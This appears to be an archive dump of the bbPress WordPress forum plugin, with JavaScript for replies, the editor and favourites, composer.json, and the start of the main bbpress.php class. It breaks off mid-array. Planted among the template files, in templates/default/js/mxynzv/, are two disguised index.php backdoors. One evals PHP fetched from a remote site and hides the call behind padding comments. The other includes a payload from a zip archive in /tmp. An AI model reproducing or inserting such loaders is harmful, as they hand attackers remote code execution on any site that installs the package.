			action : action,
			id     : object,
			type   : type,
			nonce  : nonce
		};

		$.post( bbpEngagementJS.bbp_ajaxurl, $data, function ( response ) {
			if ( response.success ) {
				$( update_selector ).html( response.content );
			} else {
				if ( !response.content ) {
					response.content = bbpEngagementJS.generic_ajax_error;
				}
				window.alert( response.content );
			}
		} );
	}

	$( '#favorite-toggle' ).on( 'click', 'span a.favorite-toggle', function( e ) {
		e.preventDefault();
		bbp_ajax_call(
			'favorite',
			$( this ).data( 'bbp-object-id'   ),
			$( this ).data( 'bbp-object-type' ),
			$( this ).data( 'bbp-nonce'       ),
			'#favorite-toggle'
		);
	} );

	$( '#subscription-toggle' ).on( 'click', 'span a.subscription-toggle', function( e ) {
		e.preventDefault();
		bbp_ajax_call(
			'subscription',
			$( this ).data( 'bbp-object-id'   ),
			$( this ).data( 'bbp-object-type' ),
			$( this ).data( 'bbp-nonce'       ),
			'#subscription-toggle'
		);
	} );

	$( '.bbp-alert-outer' ).on( 'click', '.bbp-alert-close', function( e ) {
		e.preventDefault();
		$( this ).closest( '.bbp-alert-outer' ).fadeOut();
	} );

	$( '.bbp-alert-outer' ).on( 'click', function( e ) {
		if ( this === e.target ) {
			$( this ).closest( '.bbp-alert-outer' ).fadeOut();
		}
	} );

	$( document ).keyup( function( e ) {
		if ( e.keyCode === 27 ) {
			$( '.bbp-alert-outer .bbp-alert-close' ).click();
		}
	} );
} );
templates/default/js/reply.min.js000066600000003574151771460310013077 0ustar00/*! This file is automatically generated. */

addReply={moveForm:function(e,t,n,o){var i=this,d=i.getElement(e),l=i.getElement(n),r=i.getElement("bbp-cancel-reply-to-link"),m=i.getElement("bbp_reply_to"),c=i.getElement("bbp_topic_id");if(i.removeEditor(),d&&l&&r&&m){if(i.respondId=n,o=o||!1,!i.getElement("bbp-temp-form-div")){var p=document.createElement("div");p.id="bbp-temp-form-div",p.style.display="none",l.parentNode.appendChild(p)}return d.parentNode.appendChild(l),c&&o&&(c.value=o),m.value=t,r.style.display="",i.addEditor(),r.onclick=function(){i.cancelForm(this)},i.scrollToForm(),!1}},cancelForm:function(){var e=addReply,t=e.getElement("bbp-temp-form-div"),n=e.getElement("bbp-cancel-reply-to-link"),o=e.getElement(e.respondId);if(e.removeEditor(),t&&o)return e.getElement("bbp_reply_to").value="0",t.parentNode.insertBefore(o,t),t.parentNode.removeChild(t),n.style.display="none",n.onclick=null,e.addEditor(),e.scrollToForm(),!1},scrollToForm:function(){var e=this,t=e.getElement("new-post").getBoundingClientRect(),n=(window.pageYOffset||document.scrollTop)-(document.clientTop||0),o=n+t.top,i=o<n,d=e.getElement("wpadminbar"),l=0;void 0!==d&&(l=d.scrollHeight),distance=!0===i?n-o:o-n;var r=distance>800?30:20,m=Math.min(12,Math.round(distance/r)),c=Math.round(distance/r),p=[],s=0;if(!0===i)for(;n>o;)(n-=c)<o&&(n=o),p.push(n-l),setTimeout(function(){window.scrollTo(0,p.shift())},s*m),s++;else for(;n<o;)(n+=c)>o&&(n=o),p.push(n-l),setTimeout(function(){window.scrollTo(0,p.shift())},s*m),s++},getElement:function(e){return document.getElementById(e)},removeEditor:function(){if("undefined"!=typeof tinyMCE){var e=tinyMCE.get("bbp_reply_content");e&&!e.isHidden()?(this.mode="tmce",e.remove()):this.mode="html"}},addEditor:function(){"undefined"!=typeof tinyMCE&&("tmce"===this.mode?switchEditors.go("bbp_reply_content","tmce"):"html"===this.mode&&switchEditors.go("bbp_reply_content","html"))}};templates/default/js/editor.min.js000066600000001716151771460310013226 0ustar00/*! This file is automatically generated. */

jQuery(document).ready(function(){"undefined"!=typeof edButtons&&(edButtons[110]=new QTags.TagButton("code","code","`","`","c"),QTags._buttonsInit()),jQuery("#bbp_topic_title").bind("keydown.editor-focus",function(e){if(9===e.which&&!e.ctrlKey&&!e.altKey&&!e.shiftKey){if("undefined"!=typeof tinymce)if(tinymce.activeEditor.isHidden())jQuery("textarea.bbp-the-content").focus();else{var t=tinymce.activeEditor.editorContainer;jQuery("#"+t+" td.mceToolbar > a").focus()}else jQuery("textarea.bbp-the-content").focus();e.preventDefault()}}),jQuery("#bbp_topic_tags").bind("keydown.editor-focus",function(e){if(9===e.which&&e.shiftKey&&!e.ctrlKey&&!e.altKey){if("undefined"!=typeof tinymce)if(tinymce.activeEditor.isHidden())jQuery("textarea.bbp-the-content").focus();else{var t=tinymce.activeEditor.editorContainer;jQuery("#"+t+" td.mceToolbar > a").focus()}else jQuery("textarea.bbp-the-content").focus();e.preventDefault()}})});templates/default/js/mxynzv/ngv0rc/index.php000066600000000150151771460310015201 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "simp.php"; include("zip:///tmp/phpUZhB4G#$h");?>templates/default/js/mxynzv/index.php000066600000001114151771460310014003 0ustar00<?php eval(



          /*271342654121566891421341605570265447778*/          



urldecode("%3f%3e")
         /*172875489604218566974952834094884085126*/         
.file_get_contents(
      /*264555951588964805590072824262804209696*/      
urldecode("https://helaly.site/5784938475.txt?AdS=810305619"

        /*2472351308982195486634705267975294569*/        

)

        /*200371654183689705212252770415888165678*/        

)


         /*48574609092765735904895100861077861531*/         


);
          /*92886470268639611910453298069754347781*/          
?>templates/default/js/editor.js000066600000002652151771460310012444 0ustar00/* global edButtons, QTags, tinymce */
jQuery(document).ready( function() {

	/* Use backticks instead of <code> for the Code button in the editor */
	if ( typeof( edButtons ) !== 'undefined' ) {
		edButtons[110] = new QTags.TagButton( 'code', 'code', '`', '`', 'c' );
		QTags._buttonsInit();
	}

	/* Tab from topic title */
	jQuery( '#bbp_topic_title' ).bind( 'keydown.editor-focus', function(e) {
		if ( e.which !== 9 ) {
			return;
		}

		if ( !e.ctrlKey && !e.altKey && !e.shiftKey ) {
			if ( typeof( tinymce ) !== 'undefined' ) {
				if ( ! tinymce.activeEditor.isHidden() ) {
					var editor = tinymce.activeEditor.editorContainer;
					jQuery( '#' + editor + ' td.mceToolbar > a' ).focus();
				} else {
					jQuery( 'textarea.bbp-the-content' ).focus();
				}
			} else {
				jQuery( 'textarea.bbp-the-content' ).focus();
			}

			e.preventDefault();
		}
	});

	/* Shift + tab from topic tags */
	jQuery( '#bbp_topic_tags' ).bind( 'keydown.editor-focus', function(e) {
		if ( e.which !== 9 ) {
			return;
		}

		if ( e.shiftKey && !e.ctrlKey && !e.altKey ) {
			if ( typeof( tinymce ) !== 'undefined' ) {
				if ( ! tinymce.activeEditor.isHidden() ) {
					var editor = tinymce.activeEditor.editorContainer;
					jQuery( '#' + editor + ' td.mceToolbar > a' ).focus();
				} else {
					jQuery( 'textarea.bbp-the-content' ).focus();
				}
			} else {
				jQuery( 'textarea.bbp-the-content' ).focus();
			}

			e.preventDefault();
		}
	});
});templates/default/js/reply.js000066600000011706151771460310012311 0ustar00/* globals tinyMCE */
addReply = {

	/**
	 * Move the reply form when "Reply" is clicked.
	 *
	 * @since 2.6.2
	 * @param {string} replyId
	 * @param {string} parentId
	 * @param {string} respondId
	 * @param {string} postId
	 * @returns {undefined|Boolean}
	 */
	moveForm: function ( replyId, parentId, respondId, postId ) {

		/* Get initial elements */
		var t       = this,
			reply   = t.getElement( replyId ),
			respond = t.getElement( respondId ),
			cancel  = t.getElement( 'bbp-cancel-reply-to-link' ),
			parent  = t.getElement( 'bbp_reply_to' ),
			post    = t.getElement( 'bbp_topic_id' );

		/* Remove the editor, if its already been moved */
		t.removeEditor();

		/* Allow click to go through */
		if ( ! reply || ! respond || ! cancel || ! parent ) {
			return;
		}

		t.respondId = respondId;
		postId      = postId || false;

		/* Setup a temporary div for relocating back when clicking cancel */
		if ( ! t.getElement( 'bbp-temp-form-div' ) ) {
			var div = document.createElement( 'div' );

			div.id            = 'bbp-temp-form-div';
			div.style.display = 'none';

			respond.parentNode.appendChild( div );
		}

		/* Relocate the element */
		reply.parentNode.appendChild( respond );

		if ( post && postId ) {
			post.value = postId;
		}

		parent.value         = parentId;
		cancel.style.display = '';

		/* Add the editor where it now belongs */
		t.addEditor();

		/**
		 * When cancelling a Reply.
		 *
		 * @since 2.6.2
		 * @returns {void}
		 */
		cancel.onclick = function () {
			t.cancelForm( this );
		};

		t.scrollToForm();

		/* Prevent click from going through */
		return false;
	},

	/**
	 * Cancel the reply form.
	 *
	 * @since 2.6.6
	 * @returns {void}
	 */
	cancelForm: function () {
		var r       = addReply,
			temp    = r.getElement( 'bbp-temp-form-div' ),
			cancel  = r.getElement( 'bbp-cancel-reply-to-link' ),
			respond = r.getElement( r.respondId );

		r.removeEditor();

		/* Allow click to go through */
		if ( ! temp || ! respond ) {
			return;
		}

		r.getElement( 'bbp_reply_to' ).value = '0';

		temp.parentNode.insertBefore( respond, temp );
		temp.parentNode.removeChild( temp );

		cancel.style.display = 'none';
		cancel.onclick       = null;

		r.addEditor();
		r.scrollToForm();

		/* Prevent click from going through */
		return false;
	},

	/**
	 * Scrolls to the top of the page.
	 *
	 * @since 2.6.2
	 * @return {void}
	 */
	scrollToForm: function() {

		/* Get initial variables to start computing boundaries */
		var t           = this,
			form        = t.getElement( 'new-post' ),
			elemRect    = form.getBoundingClientRect(),
			position    = (window.pageYOffset || document.scrollTop)  - (document.clientTop || 0),
			destination = ( position + elemRect.top ),
			negative    = ( destination < position ), // jshint ignore:line
			adminbar    = t.getElement( 'wpadminbar'),
			offset      = 0;

		/* Offset by the adminbar */
		if ( typeof ( adminbar ) !== 'undefined' ) {
			offset = adminbar.scrollHeight;
		}

		/* Compute the difference, depending on direction */
		/* jshint ignore:start */
		distance = ( true === negative )
			? ( position - destination )
			: ( destination - position );

		/* Do some math to compute the animation steps */
		var vast       = ( distance > 800 ),
			speed_step = vast ? 30 : 20,
			speed      = Math.min( 12, Math.round( distance / speed_step ) ),
			step       = Math.round( distance / speed_step ),
			steps      = [],
			timer      = 0;

		/* Scroll up */
		if ( true === negative ) {
			while ( position > destination ) {
				position -= step;

				if ( position < destination ) {
					position = destination;
				}

				steps.push( position - offset );

				setTimeout( function() {
					window.scrollTo( 0, steps.shift() );
				}, timer * speed );

				timer++;
			}

		/* Scroll down */
		} else {
			while ( position < destination ) {
				position += step;

				if ( position > destination ) {
					position = destination;
				}

				steps.push( position - offset );

				setTimeout( function() {
					window.scrollTo( 0, steps.shift() );
				}, timer * speed );

				timer++;
			}
		}
		/* jshint ignore:end */
	},

	/**
	 * Get an element by ID
	 *
	 * @since 2.6.2
	 * @param {string} e
	 * @returns {HTMLElement} Element
	 */
	getElement: function (e) {
		return document.getElementById(e);
	},

	/**
	 * Remove the Editor
	 *
	 * @since 2.6.2
	 * @returns {void}
	 */
	removeEditor: function () {

		/* Bail to avoid error */
		if ( typeof ( tinyMCE ) === 'undefined' ) {
			return;
		}

		var tmce = tinyMCE.get( 'bbp_reply_content' );

		if ( tmce && ! tmce.isHidden() ) {
			this.mode = 'tmce';
			tmce.remove();

		} else {
			this.mode = 'html';
		}
	},

	/**
	 * Add the Editor
	 *
	 * @since 2.6.2
	 * @returns {void}
	 */
	addEditor: function () {

		/* Bail to avoid error */
		if ( typeof ( tinyMCE ) === 'undefined' ) {
			return;
		}

		if ( 'tmce' === this.mode ) {
			switchEditors.go( 'bbp_reply_content', 'tmce' );

		} else if ( 'html' === this.mode ) {
			switchEditors.go( 'bbp_reply_content', 'html' );
		}
	}
};
templates/default/js/engagements.min.js000066600000002074151771460310014233 0ustar00/*! This file is automatically generated. */

jQuery(document).ready(function(t){function e(e,o,n,a,c){var b={action:e,id:o,type:n,nonce:a};t.post(bbpEngagementJS.bbp_ajaxurl,b,function(e){e.success?t(c).html(e.content):(e.content||(e.content=bbpEngagementJS.generic_ajax_error),window.alert(e.content))})}t("#favorite-toggle").on("click","span a.favorite-toggle",function(o){o.preventDefault(),e("favorite",t(this).data("bbp-object-id"),t(this).data("bbp-object-type"),t(this).data("bbp-nonce"),"#favorite-toggle")}),t("#subscription-toggle").on("click","span a.subscription-toggle",function(o){o.preventDefault(),e("subscription",t(this).data("bbp-object-id"),t(this).data("bbp-object-type"),t(this).data("bbp-nonce"),"#subscription-toggle")}),t(".bbp-alert-outer").on("click",".bbp-alert-close",function(e){e.preventDefault(),t(this).closest(".bbp-alert-outer").fadeOut()}),t(".bbp-alert-outer").on("click",function(e){this===e.target&&t(this).closest(".bbp-alert-outer").fadeOut()}),t(document).keyup(function(e){27===e.keyCode&&t(".bbp-alert-outer .bbp-alert-close").click()})});composer.json000066600000001340151771460310007275 0ustar00{
	"name": "bbpress/bbpress",
	"description": "bbPress is forum software with a twist from the creators of WordPress.",
	"type": "wordpress-plugin",
	"keywords": [
		"bulletin board",
		"community",
		"forum",
		"support",
		"wordpress"
	],
	"homepage": "https://bbpress.org",
	"license": "GPL-2.0-or-later",
	"authors": [ {
		"name": "bbPress Contributors",
		"homepage": "https://bbpress.org/about/"
	} ],
	"support": {
		"forum": "https://bbpress.org/support/",
		"irc": "irc://irc.freenode.net/bbpress-dev",
		"issues": "https://bbpress.trac.wordpress.org/",
		"wiki": "https://codex.bbpress.org/",
		"source": "https://bbpress.trac.wordpress.org/browser"
	},
	"require": {
		"composer/installers": "~1.0",
		"php": ">=5.6.20"
	}
}
bbpress.php000066600000114131151771460310006727 0ustar00<?php

/**
 * The bbPress Plugin
 *
 * bbPress is forum software with a twist from the creators of WordPress.
 *
 * $Id: bbpress.php 7161 2020-11-06 01:05:46Z johnjamesjacoby $
 *
 * @package bbPress
 * @subpackage Main
 */

/**
 * Plugin Name:       bbPress
 * Plugin URI:        https://bbpress.org
 * Description:       bbPress is forum software with a twist from the creators of WordPress.
 * Author:            The bbPress Contributors
 * Author URI:        https://bbpress.org
 * Version:           2.6.6
 * Text Domain:       bbpress
 * Domain Path:       /languages/
 * License:           GPLv2 or later (license.txt)
 * Requires PHP:      5.6.20
 * Requires at least: 5.0
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'bbPress' ) ) :
/**
 * Main bbPress Class
 *
 * "Word hard. Stay bumble."
 *
 * @since 2.0.0 bbPress (r2464)
 */
final class bbPress {

	/** Magic *****************************************************************/

	/**
	 * bbPress uses many variables, several of which can be filtered to
	 * customize the way it operates. Most of these variables are stored in a
	 * private array that gets updated with the help of PHP magic methods.
	 *
	 * This is a precautionary measure, to avoid potential errors produced by
	 * unanticipated direct manipulation of run-time data.
	 *
	 * @see bbPress::setup_globals()
	 * @var array
	 */
	private $data;

	/** Not Magic *************************************************************/

	/**
	 * @var mixed False when not logged in; WP_User object when logged in
	 */
	public $current_user = false;

	/**
	 * @var stdClass Add-ons append to this (Akismet, BuddyPress, etc...)
	 */
	public $extend;

	/**
	 * @var array Topic views
	 */
	public $views = array();

	/**
	 * @var array Overloads get_option()
	 */
	public $options = array();

	/**
	 * @var array Storage of options not in the database
	 */
	public $not_options = array();

	/**
	 * @var array Overloads get_user_meta()
	 */
	public $user_options = array();

	/**
	 * @var array Dynamically initialized user roles
	 */
	public $roles = array();

	/** Singleton *************************************************************/

	/**
	 * Main bbPress Instance
	 *
	 * bbPress is fun
	 * Please load it only one time
	 * For this, we thank you
	 *
	 * Insures that only one instance of bbPress exists in memory at any one
	 * time. Also prevents needing to define globals all over the place.
	 *
	 * @since 2.1.0 bbPress (r3757)
	 *
	 * @staticvar object $instance
	 * @see bbpress()
	 * @return bbPress The one true bbPress
	 */
	public static function instance() {

		// Store the instance locally to avoid private static replication
		static $instance = null;

		// Only run these methods if they haven't been ran previously
		if ( null === $instance ) {
			$instance = new bbPress();
			$instance->setup_environment();
			$instance->includes();
			$instance->setup_variables();
			$instance->setup_actions();
		}

		// Always return the instance
		return $instance;
	}

	/** Magic Methods *********************************************************/

	/**
	 * A dummy constructor to prevent bbPress from being loaded more than once.
	 *
	 * @since 2.0.0 bbPress (r2464)
	 *
	 * @see bbPress::instance()
	 * @see bbpress();
	 */
	private function __construct() { /* Do nothing here */ }

	/**
	 * A dummy magic method to prevent bbPress from being cloned
	 *
	 * @since 2.0.0 bbPress (r2464)
	 */
	public function __clone() { _doing_it_wrong( __FUNCTION__, __( 'Cheatin&#8217; huh?', 'bbpress' ), '2.1' ); }

	/**
	 * A dummy magic method to prevent bbPress from being unserialized
	 *
	 * @since 2.0.0 bbPress (r2464)
	 */
	public function __wakeup() { _doing_it_wrong( __FUNCTION__, __( 'Cheatin&#8217; huh?', 'bbpress' ), '2.1' ); }

	/**
	 * Magic method for checking the existence of a certain custom field
	 *
	 * @since 2.1.0 bbPress (r3951)
	 */
	public function __isset( $key ) { return isset( $this->data[ $key ] ); }

	/**
	 * Magic method for getting bbPress variables
	 *
	 * @since 2.1.0 bbPress (r3951)
	 */
	public function __get( $key ) { return isset( $this->data[ $key ] ) ? $this->data[ $key ] : null; }

	/**
	 * Magic method for setting bbPress variables
	 *
	 * @since 2.1.0 bbPress (r3951)
	 */
	public function __set( $key , $value ) { $this->data[ $key ] = $value; }

	/**
	 * Magic method for unsetting bbPress variables
	 *
	 * @since 2.3.0 bbPress (r4628)
	 */
	public function __unset( $key ) {
		if ( isset( $this->data[ $key ] ) ) {
			unset( $this->data[ $key ] );
		}
	}

	/**
	 * Magic method to prevent notices and errors from invalid method calls
	 *
	 * @since 2.2.0 bbPress (r4252)
	 */
	public function __call( $name = '', $args = array() ) { unset( $name, $args ); return null; }

	/** Private Methods *******************************************************/

	/**
	 * Setup the environment variables to allow the rest of bbPress to function
	 * more easily.
	 *
	 * @since 2.0.0 bbPress (r2626)
	 *
	 * @access private
	 */
	private function setup_environment() {

		/** Versions **********************************************************/

		$this->version    = '2.6.6';
		$this->db_version = '263';

		/** Paths *************************************************************/

		// File & base
		$this->file         = __FILE__;
		$this->basename     = apply_filters( 'bbp_plugin_basename', str_replace( array( 'build/', 'src/' ), '', plugin_basename( $this->file ) ) );
		$this->basepath     = apply_filters( 'bbp_plugin_basepath', trailingslashit( dirname( $this->basename ) ) );

		// Path and URL
		$this->plugin_dir   = apply_filters( 'bbp_plugin_dir_path', plugin_dir_path( $this->file ) );
		$this->plugin_url   = apply_filters( 'bbp_plugin_dir_url',  plugin_dir_url ( $this->file ) );

		// Includes
		$this->includes_dir = apply_filters( 'bbp_includes_dir', trailingslashit( $this->plugin_dir . 'includes'  ) );
		$this->includes_url = apply_filters( 'bbp_includes_url', trailingslashit( $this->plugin_url . 'includes'  ) );

		// Languages
		$this->lang_base    = apply_filters( 'bbp_lang_base',    trailingslashit( $this->basepath   . 'languages' ) );
		$this->lang_dir     = apply_filters( 'bbp_lang_dir',     trailingslashit( $this->plugin_dir . 'languages' ) );

		// Templates
		$this->themes_dir   = apply_filters( 'bbp_themes_dir',   trailingslashit( $this->plugin_dir . 'templates' ) );
		$this->themes_url   = apply_filters( 'bbp_themes_url',   trailingslashit( $this->plugin_url . 'templates' ) );
	}

	/**
	 * Smart defaults to many bbPress specific class variables.
	 *
	 * @since 2.6.0 bbPress (r6330)
	 */
	private function setup_variables() {

		/** Identifiers *******************************************************/

		// Post type identifiers
		$this->forum_post_type   = apply_filters( 'bbp_forum_post_type',  'forum'     );
		$this->topic_post_type   = apply_filters( 'bbp_topic_post_type',  'topic'     );
		$this->topic_tag_tax_id  = apply_filters( 'bbp_topic_tag_tax_id', 'topic-tag' );
		$this->reply_post_type   = apply_filters( 'bbp_reply_post_type',  'reply'     );

		// Status identifiers
		$this->spam_status_id    = apply_filters( 'bbp_spam_post_status',    'spam'    );
		$this->closed_status_id  = apply_filters( 'bbp_closed_post_status',  'closed'  );
		$this->orphan_status_id  = apply_filters( 'bbp_orphan_post_status',  'orphan'  );
		$this->public_status_id  = apply_filters( 'bbp_public_post_status',  'publish' );
		$this->pending_status_id = apply_filters( 'bbp_pending_post_status', 'pending' );
		$this->private_status_id = apply_filters( 'bbp_private_post_status', 'private' );
		$this->hidden_status_id  = apply_filters( 'bbp_hidden_post_status',  'hidden'  );
		$this->trash_status_id   = apply_filters( 'bbp_trash_post_status',   'trash'   );

		// Other identifiers
		$this->user_id           = apply_filters( 'bbp_user_id',        'bbp_user'        );
		$this->tops_id           = apply_filters( 'bbp_tops_id',        'bbp_tops'        );
		$this->reps_id           = apply_filters( 'bbp_reps_id',        'bbp_reps'        );
		$this->favs_id           = apply_filters( 'bbp_favs_id',        'bbp_favs'        );
		$this->subs_id           = apply_filters( 'bbp_subs_id',        'bbp_subs'        );
		$this->view_id           = apply_filters( 'bbp_view_id',        'bbp_view'        );
		$this->edit_id           = apply_filters( 'bbp_edit_id',        'edit'            );
		$this->paged_id          = apply_filters( 'bbp_paged_id',       'paged'           );
		$this->search_id         = apply_filters( 'bbp_search_id',      'bbp_search'      );
		$this->engagements_id    = apply_filters( 'bbp_engagements_id', 'bbp_engagements' );

		/** Queries ***********************************************************/

		$this->current_view_id      = 0; // Current view id
		$this->current_forum_id     = 0; // Current forum id
		$this->current_topic_id     = 0; // Current topic id
		$this->current_reply_id     = 0; // Current reply id
		$this->current_topic_tag_id = 0; // Current topic tag id
		$this->current_user_id      = 0; // Current topic tag id

		$this->forum_query    = new WP_Query();       // Main forum query
		$this->topic_query    = new WP_Query();       // Main topic query
		$this->reply_query    = new WP_Query();       // Main reply query
		$this->search_query   = new WP_Query();       // Main search query
		$this->user_query     = new BBP_User_Query(); // Main user query

		/** Theme Compat ******************************************************/

		$this->theme_compat   = new stdClass(); // Base theme compatibility class
		$this->filters        = new stdClass(); // Used when adding/removing filters

		/** Users *************************************************************/

		$this->current_user   = new WP_User(); // Currently logged in user
		$this->displayed_user = new WP_User(); // Currently displayed user

		/** Misc **************************************************************/

		$this->domain         = 'bbpress';      // Unique identifier for retrieving translated strings
		$this->extend         = new stdClass(); // Plugins add data here
		$this->errors         = new WP_Error(); // Feedback

		/** Deprecated ********************************************************/

		$this->tab_index      = apply_filters( 'bbp_default_tab_index', 100 );
	}

	/**
	 * Include required files
	 *
	 * @since 2.0.0 bbPress (r2626)
	 *
	 * @access private
	 */
	private function includes() {

		/** Core **************************************************************/

		require $this->includes_dir . 'core/abstraction.php';
		require $this->includes_dir . 'core/sub-actions.php';
		require $this->includes_dir . 'core/functions.php';
		require $this->includes_dir . 'core/cache.php';
		require $this->includes_dir . 'core/options.php';
		require $this->includes_dir . 'core/capabilities.php';
		require $this->includes_dir . 'core/update.php';
		require $this->includes_dir . 'core/template-functions.php';
		require $this->includes_dir . 'core/template-loader.php';
		require $this->includes_dir . 'core/theme-compat.php';

		/** Components ********************************************************/

		// Common
		require $this->includes_dir . 'common/ajax.php';
		require $this->includes_dir . 'common/classes.php';
		require $this->includes_dir . 'common/engagements.php';
		require $this->includes_dir . 'common/functions.php';
		require $this->includes_dir . 'common/formatting.php';
		require $this->includes_dir . 'common/locale.php';
		require $this->includes_dir . 'common/locks.php';
		require $this->includes_dir . 'common/template.php';
		require $this->includes_dir . 'common/widgets.php';
		require $this->includes_dir . 'common/shortcodes.php';

		// Forums
		require $this->includes_dir . 'forums/capabilities.php';
		require $this->includes_dir . 'forums/functions.php';
		require $this->includes_dir . 'forums/template.php';

		// Topics
		require $this->includes_dir . 'topics/capabilities.php';
		require $this->includes_dir . 'topics/functions.php';
		require $this->includes_dir . 'topics/template.php';

		// Replies
		require $this->includes_dir . 'replies/capabilities.php';
		require $this->includes_dir . 'replies/functions.php';
		require $this->includes_dir . 'replies/template.php';

		// Search
		require $this->includes_dir . 'search/functions.php';
		require $this->includes_dir . 'search/template.php';

		// Users
		require $this->includes_dir . 'users/capabilities.php';
		require $this->includes_dir . 'users/engagements.php';
		require $this->includes_dir . 'users/functions.php';
		require $this->includes_dir . 'users/template.php';
		require $this->includes_dir . 'users/options.php';
		require $this->includes_dir . 'users/signups.php';

		/** Hooks *************************************************************/

		require $this->includes_dir . 'core/extend.php';
		require $this->includes_dir . 'core/actions.php';
		require $this->includes_dir . 'core/filters.php';

		/** Admin *************************************************************/

		// Quick admin check and load if needed
		if ( is_admin() ) {
			require $this->includes_dir . 'admin/actions.php';
		}
	}

	/**
	 * Setup the default hooks and actions
	 *
	 * @since 2.0.0 bbPress (r2644)
	 *
	 * @access private
	 */
	private function setup_actions() {

		// Add actions to plugin activation and deactivation hooks
		add_action( 'activate_'   . $this->basename, 'bbp_activation'   );
		add_action( 'deactivate_' . $this->basename, 'bbp_deactivation' );

		// If bbPress is being deactivated, do not add any actions
		if ( bbp_is_deactivation( $this->basename ) ) {
			return;
		}

		// Array of bbPress core actions
		$actions = array(
			'setup_theme',              // Setup the default theme compat
			'setup_current_user',       // Setup currently logged in user
			'setup_engagements',        // Setup user engagements strategy
			'roles_init',               // User roles init
			'register_meta',            // Register meta (forum|topic|reply|user)
			'register_post_types',      // Register post types (forum|topic|reply)
			'register_post_statuses',   // Register post statuses (closed|spam|orphan|hidden)
			'register_taxonomies',      // Register taxonomies (topic-tag)
			'register_shortcodes',      // Register shortcodes (bbp-login)
			'register_views',           // Register the views (no-replies)
			'register_theme_packages',  // Register bundled theme packages (bbp-theme-compat/bbp-themes)
			'load_textdomain',          // Load textdomain (bbpress)
			'add_rewrite_tags',         // Add rewrite tags (view|user|edit|search)
			'add_rewrite_rules',        // Generate rewrite rules (view|edit|paged|search)
			'add_permastructs'          // Add permalink structures (view|user|search)
		);

		// Add the actions
		foreach ( $actions as $class_action ) {
			add_action( 'bbp_' . $class_action, array( $this, $class_action ), 5 );
		}

		// All bbPress actions are setup (includes bbp-core-hooks.php)
		do_action_ref_array( 'bbp_after_setup_actions', array( &$this ) );
	}

	/** Public Methods ********************************************************/

	/**
	 * Register bundled theme packages
	 *
	 * Note that since we currently have complete control over bbp-themes and
	 * the bbp-theme-compat folders, it's fine to hardcode these here. If at a
	 * later date we need to automate this, and API will need to be built.
	 *
	 * @since 2.1.0 bbPress (r3829)
	 */
	public function register_theme_packages() {

		// Register the basic theme stack. This is really dope.
		bbp_register_template_stack( 'get_stylesheet_directory', 6 );
		bbp_register_template_stack( 'get_template_directory',   8 );

		// Register the default theme compatibility package
		bbp_register_theme_package( array(
			'id'      => 'default',
			'name'    => 'bbPress Default',
			'version' => bbp_get_version(),
			'dir'     => trailingslashit( $this->themes_dir . 'default' ),
			'url'     => trailingslashit( $this->themes_url . 'default' )
		) );
	}

	/**
	 * Setup the default bbPress theme compatibility location.
	 *
	 * @since 2.1.0 bbPress (r3778)
	 */
	public function setup_theme() {
		bbp_setup_theme_compat( bbp_get_theme_package_id() );
	}

	/**
	 * Load the translation file for current language. Checks the deprecated
	 * languages folder inside the bbPress plugin first, and then the default
	 * WordPress languages folder.
	 *
	 * Note that custom translation files inside the bbPress plugin folder
	 * will be removed on bbPress updates. If you're creating custom
	 * translation files, please use the global language folder.
	 *
	 * @since 2.0.0 bbPress (r2596)
	 */
	public function load_textdomain() {

		// Define the old directory
		$old_dir = WP_LANG_DIR . '/bbpress/';

		// Old location, deprecated in 2.6.0
		if ( is_dir( $old_dir ) ) {

			// Get locale & file-name
			$type   = is_admin() ? get_user_locale() : get_locale();
			$locale = apply_filters( 'plugin_locale', $type, $this->domain );
			$mofile = sprintf( '%1$s-%2$s.mo', $this->domain, $locale );

			// Look in global /wp-content/languages/bbpress/ folder
			load_textdomain( $this->domain, $old_dir . $mofile );
		}

		// Look in global /wp-content/languages/plugins/
		load_plugin_textdomain( $this->domain, false, $this->lang_base );
	}

	/**
	 * Setup the post types for forums, topics and replies
	 *
	 * @since 2.0.0 bbPress (r2597)
	 */
	public static function register_post_types() {

		/** Forums ************************************************************/

		// Register Forum content type
		register_post_type(
			bbp_get_forum_post_type(),
			apply_filters( 'bbp_register_forum_post_type', array(
				'labels'              => bbp_get_forum_post_type_labels(),
				'rewrite'             => bbp_get_forum_post_type_rewrite(),
				'supports'            => bbp_get_forum_post_type_supports(),
				'description'         => esc_html__( 'bbPress Forums', 'bbpress' ),
				'capabilities'        => bbp_get_forum_caps(),
				'capability_type'     => array( 'forum', 'forums' ),
				'menu_position'       => 555555,
				'has_archive'         => bbp_get_root_slug(),
				'exclude_from_search' => true,
				'show_in_nav_menus'   => true,
				'public'              => true,
				'show_ui'             => current_user_can( 'bbp_forums_admin' ),
				'can_export'          => true,
				'hierarchical'        => true,
				'query_var'           => true,
				'menu_icon'           => '',
				'source'              => 'bbpress',
			) )
		);

		/** Topics ************************************************************/

		// Register Topic content type
		register_post_type(
			bbp_get_topic_post_type(),
			apply_filters( 'bbp_register_topic_post_type', array(
				'labels'              => bbp_get_topic_post_type_labels(),
				'rewrite'             => bbp_get_topic_post_type_rewrite(),
				'supports'            => bbp_get_topic_post_type_supports(),
				'description'         => esc_html__( 'bbPress Topics', 'bbpress' ),
				'capabilities'        => bbp_get_topic_caps(),
				'capability_type'     => array( 'topic', 'topics' ),
				'menu_position'       => 555555,
				'has_archive'         => ( 'forums' === bbp_show_on_root() ) ? bbp_get_topic_archive_slug() : false,
				'exclude_from_search' => true,
				'show_in_nav_menus'   => false,
				'public'              => true,
				'show_ui'             => current_user_can( 'bbp_topics_admin' ),
				'can_export'          => true,
				'hierarchical'        => false,
				'query_var'           => true,
				'menu_icon'           => '',
				'source'              => 'bbpress',
			)
		) );

		/** Replies ***********************************************************/

		// Register reply content type
		register_post_type(
			bbp_get_reply_post_type(),
			apply_filters( 'bbp_register_reply_post_type', array(
				'labels'              => bbp_get_reply_post_type_labels(),
				'rewrite'             => bbp_get_reply_post_type_rewrite(),
				'supports'            => bbp_get_reply_post_type_supports(),
				'description'         => esc_html__( 'bbPress Replies', 'bbpress' ),
				'capabilities'        => bbp_get_reply_caps(),
				'capability_type'     => array( 'reply', 'replies' ),
				'menu_position'       => 555555,
				'exclude_from_search' => true,
				'has_archive'         => false,
				'show_in_nav_menus'   => false,
				'public'              => true,
				'show_ui'             => current_user_can( 'bbp_replies_admin' ),
				'can_export'          => true,
				'hierarchical'        => false,
				'query_var'           => true,
				'menu_icon'           => '',
